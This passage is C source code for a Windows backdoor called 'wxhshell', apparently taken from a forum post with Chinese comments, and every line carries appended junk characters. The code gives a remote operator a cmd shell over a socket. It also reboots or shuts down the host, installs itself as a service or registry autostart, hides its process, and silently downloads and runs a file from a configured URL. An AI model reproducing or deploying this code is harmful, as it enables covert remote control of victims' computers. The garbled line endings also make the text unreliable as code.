      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8[;U|SR"  
    break; _nj?au(@`Y  
  } fKAG+t  
  // 安装 8aD4 wc  
  case 'i': { `ja**re  
    if(Install()) "-TIao#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l2!4}zI2  
    else m/0t; cx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `795 K8  
    break; %k3a34P@  
    } qN_jsJ  
  // 卸载 a4! AvG  
  case 'r': { EkqsE$52  
    if(Uninstall()) x3my8'h@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KdOy3O_5N  
    else ]7^YPFc+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ef!V EtEOv  
    break; BY$%gIB6>  
    } R('44v5JQp  
  // 显示 wxhshell 所在路径 PTvP;  
  case 'p': { |nj%G<  
    char svExeFile[MAX_PATH]; <H~  (iQ  
    strcpy(svExeFile,"\n\r"); E$rn^keM  
      strcat(svExeFile,ExeFile); >g6:{-b^a  
        send(wsh,svExeFile,strlen(svExeFile),0); @4b"0ne}h  
    break; #s Ebu^  
    } #.%;U' #O  
  // 重启 i5*sG^<$H  
  case 'b': { @hWt.qO3s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {j E}mzi  
    if(Boot(REBOOT)) Y0U<l1(|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R '/Ilz`  
    else { }45&s9m=  
    closesocket(wsh); ([ xYOxcp5  
    ExitThread(0); W%.Kr-[?`o  
    } 8<6;X7<-  
    break; */RtN`dh  
    } |k> _ jO  
  // 关机 :nw4K(:f  
  case 'd': { avk0pY(n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z %MP:@z  
    if(Boot(SHUTDOWN)) y)!K@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 810u +%fu  
    else { t1.5hsp  
    closesocket(wsh); uV*&a~  
    ExitThread(0); qMz0R\4  
    } Wel-a< e  
    break; @QMMtfeLj  
    } 0=&Hm).  
  // 获取shell ek#{!9-  
  case 's': { jO$3>q  
    CmdShell(wsh); Xi1/wbC  
    closesocket(wsh); WrL&$dEJ?M  
    ExitThread(0); U)+Yh  
    break; [*#ms=Zdc  
  } fXBA P10#  
  // 退出 O6;7'  
  case 'x': { 7WW@%4(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~FM5]<X)  
    CloseIt(wsh); 4S@^ym  
    break; X%S?o  
    } pNI=HHx  
  // 离开 Yt7R[|  
  case 'q': { a! P?RbW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N/mTG2'<  
    closesocket(wsh); C jsy1gA  
    WSACleanup(); O%y.  
    exit(1); hIC$4lR~  
    break; X5527`?e  
        } *^Wx=#w$V  
  } 2RidI&?c<  
  }  -}{c;pT  
=x9zy]  
  // 提示信息 e&E""ye  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n_hV;  
} u-At k-2M  
  } X61]N^y  
%X O97  
  return; .T/\5_Bx  
} !,PG!Gnl  
s 7iguFQ  
// shell模块句柄 8AVM(d@  
int CmdShell(SOCKET sock) *)ZDN~z7o  
{ sV'(y>PP%  
STARTUPINFO si; ;+`t[ go  
ZeroMemory(&si,sizeof(si)); gyJ$ Jp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <MI>>$seiJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \L(~50{(  
PROCESS_INFORMATION ProcessInfo; pog*}@ OS  
char cmdline[]="cmd"; 4WZ:zr N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1pVagLlb:7  
  return 0; _JiB=<Fkr  
} 'q8T*|/  
uMtq4.  
// 自身启动模式 `[w:l[i  
int StartFromService(void) A$Mmnu%  
{ 2}[)y\`t3  
typedef struct l_y:IY$"  
{ (qnzz!s  
  DWORD ExitStatus; t0d1? ?G  
  DWORD PebBaseAddress; lW1Al>dW<  
  DWORD AffinityMask; tpO%)*  
  DWORD BasePriority; x-+Hy\^@|  
  ULONG UniqueProcessId; 1RZhy_$\.  
  ULONG InheritedFromUniqueProcessId; 6SIk?]u  
}   PROCESS_BASIC_INFORMATION; aRdzXq#x  
|vw0:\/ H  
PROCNTQSIP NtQueryInformationProcess; Dx/BxqG6}_  
(\>3FwFHW|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (V)nHF*<>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /\hybx'  
r*fZS$e  
  HANDLE             hProcess; kqYWa`eE  
  PROCESS_BASIC_INFORMATION pbi; BYFvf(>  
>uN{cohs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [nB[]j<R*  
  if(NULL == hInst ) return 0; ^+^#KC8]W  
anjU3j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !jGe_xB}~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,&rlt+wE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;"$Wfy  
0qqk:h  
  if (!NtQueryInformationProcess) return 0; 5fMVjd  
4R0'$Ld4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }9<pLk  
  if(!hProcess) return 0; ~tWIVj{  
h5e(Avk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $014/IB  
\wEHYz  
  CloseHandle(hProcess); c"Ddw'?e  
$n\{6Rwb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1%68Pnqk  
if(hProcess==NULL) return 0; ABw:SQ6=Q  
U}<5%"!;  
HMODULE hMod; E*'sk  
char procName[255]; kAA1+rG  
unsigned long cbNeeded; :*Lr(-N-  
7)tkqfb]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~v"4;A 6  
@&p:J0hbp  
  CloseHandle(hProcess); uT:'Kkb!  
:jlKj}4A  
if(strstr(procName,"services")) return 1; // 以服务启动 3oc p4x`[  
E1IT>_  
  return 0; // 注册表启动 Ybo:2e  
} ce@1#}*  
}W^%5o87{  
// 主模块 vVQwuV  
int StartWxhshell(LPSTR lpCmdLine) \!M6-kmi  
{ r#rL~Rsd}  
  SOCKET wsl; A[:0?Ez=  
BOOL val=TRUE; P0VXHE1p  
  int port=0; $`,10uw  
  struct sockaddr_in door; !Hq$7j_  
2o2jDQ|7  
  if(wscfg.ws_autoins) Install(); @6\Id7`Ea  
KT$Za  
port=atoi(lpCmdLine); R8LJC]6Bh  
_)-t#Ve  
if(port<=0) port=wscfg.ws_port; fUj[E0yOF  
j5\z7  
  WSADATA data; x7\b-EC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3,`I\>No  
vZMb/}-o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Z^\$v9?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q*4{2oQ  
  door.sin_family = AF_INET; )E9[=4+*C$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'KvS I=$  
  door.sin_port = htons(port); prtNfwJz1j  
T_iX1blrgh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kNq>{dNRx  
closesocket(wsl); 6S K;1Bp-{  
return 1; b9nTg  
} m1bkY#\ U|  
[g )HoR=&  
  if(listen(wsl,2) == INVALID_SOCKET) { j.=&qYc0"  
closesocket(wsl); >7g #e,d   
return 1; 'Ur1I "  
} [$\KS_,Mn  
  Wxhshell(wsl); #+CH0Z  
  WSACleanup(); sg YPR  
s&v7<)*q  
return 0; Uh[MB wK  
tb$I8T  
} |wbXu:  
nA owFdCD  
// 以NT服务方式启动 6g*?(Y][  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;wGoEN  
{ 6%yt"XmT  
DWORD   status = 0; /q1k)4?E  
  DWORD   specificError = 0xfffffff; 5&)T[Q X`  
^mH:8_=(.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L%S(z)xX3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -gn!8G1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2i9FzpC3  
  serviceStatus.dwWin32ExitCode     = 0; V.w L  
  serviceStatus.dwServiceSpecificExitCode = 0; 1S[4@rZ  
  serviceStatus.dwCheckPoint       = 0; U:r^4,Mz*  
  serviceStatus.dwWaitHint       = 0; r+TvC{  
Cb4.N 8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \/XU v(  
  if (hServiceStatusHandle==0) return; 9'5<b  
?)NgODU  
status = GetLastError(); --OAsbr  
  if (status!=NO_ERROR) ^8.s"4{  
{ 6JgbJbUi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n4XEyCrD  
    serviceStatus.dwCheckPoint       = 0; hMCf| e.UY  
    serviceStatus.dwWaitHint       = 0; #W$6[#7=I  
    serviceStatus.dwWin32ExitCode     = status; d+45Y,|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6~34L{u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `d c&B  
    return; /,d]`N!  
  } \jmT#Gt`9  
?,}:)oA_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z`H|]${X  
  serviceStatus.dwCheckPoint       = 0; - +<ai  
  serviceStatus.dwWaitHint       = 0; h\T}$jgfWm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >O]u4G!  
} SA{noM  
.R^R32ln  
// 处理NT服务事件,比如:启动、停止 QXI#gA  =  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &3Y"Zd!  
{ _xsHU`(J#  
switch(fdwControl) nt:ZO,C:R  
{ :(Ak:  
case SERVICE_CONTROL_STOP: HXm&`  
  serviceStatus.dwWin32ExitCode = 0; \h>6k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1y3)ogL  
  serviceStatus.dwCheckPoint   = 0; n\GN}?4  
  serviceStatus.dwWaitHint     = 0; %OJ"@6A  
  { DX0#q #  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cb=ixn  
  } fJ  GwT  
  return; &>n:7  
case SERVICE_CONTROL_PAUSE: j'x@P+A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -!lSk?l  
  break; I*z|_}$  
case SERVICE_CONTROL_CONTINUE: 8\F|{vt#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ? KDg|d  
  break; `3eQ#,G!  
case SERVICE_CONTROL_INTERROGATE: 5{gv \S1  
  break; }wB!Bx2  
}; g '+2bQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zYxA#TZL  
} BN&eU'Dl]  
! FVD_8  
// 标准应用程序主函数 _BEDQb{"|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x.9[c m-!  
{ ZU$QwI8  
ep6V2R  
// 获取操作系统版本 18^K!:Of  
OsIsNt=GetOsVer(); wG&Z7C b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |w"G4J6ha  
i,zZJ=a$  
  // 从命令行安装 a8YFH$Xh  
  if(strpbrk(lpCmdLine,"iI")) Install(); CZ!gu Y=  
naiQ$uq0  
  // 下载执行文件 w7E#mdW  
if(wscfg.ws_downexe) { U#x`u|L&6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~OMo$qt`lP  
  WinExec(wscfg.ws_filenam,SW_HIDE); |H(i)yu"5'  
} # uy^AC$  
_b`/QSL  
if(!OsIsNt) { "r=p/"4D  
// 如果时win9x,隐藏进程并且设置为注册表启动 a51}~V1  
HideProc(); )j QrD`  
StartWxhshell(lpCmdLine); ol1J1Zg  
} x*!*2{  
else Y .E.(\  
  if(StartFromService()) ]DUmp6  
  // 以服务方式启动 &lo<sbd.  
  StartServiceCtrlDispatcher(DispatchTable); HHerL%/   
else hWiHKR]  
  // 普通方式启动 SmS6B5j\R  
  StartWxhshell(lpCmdLine); l\"CHwN?Y  
: sG/  
return 0; l1.eAs5U  
}
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只看该作者 1 发表于: 2006-10-10
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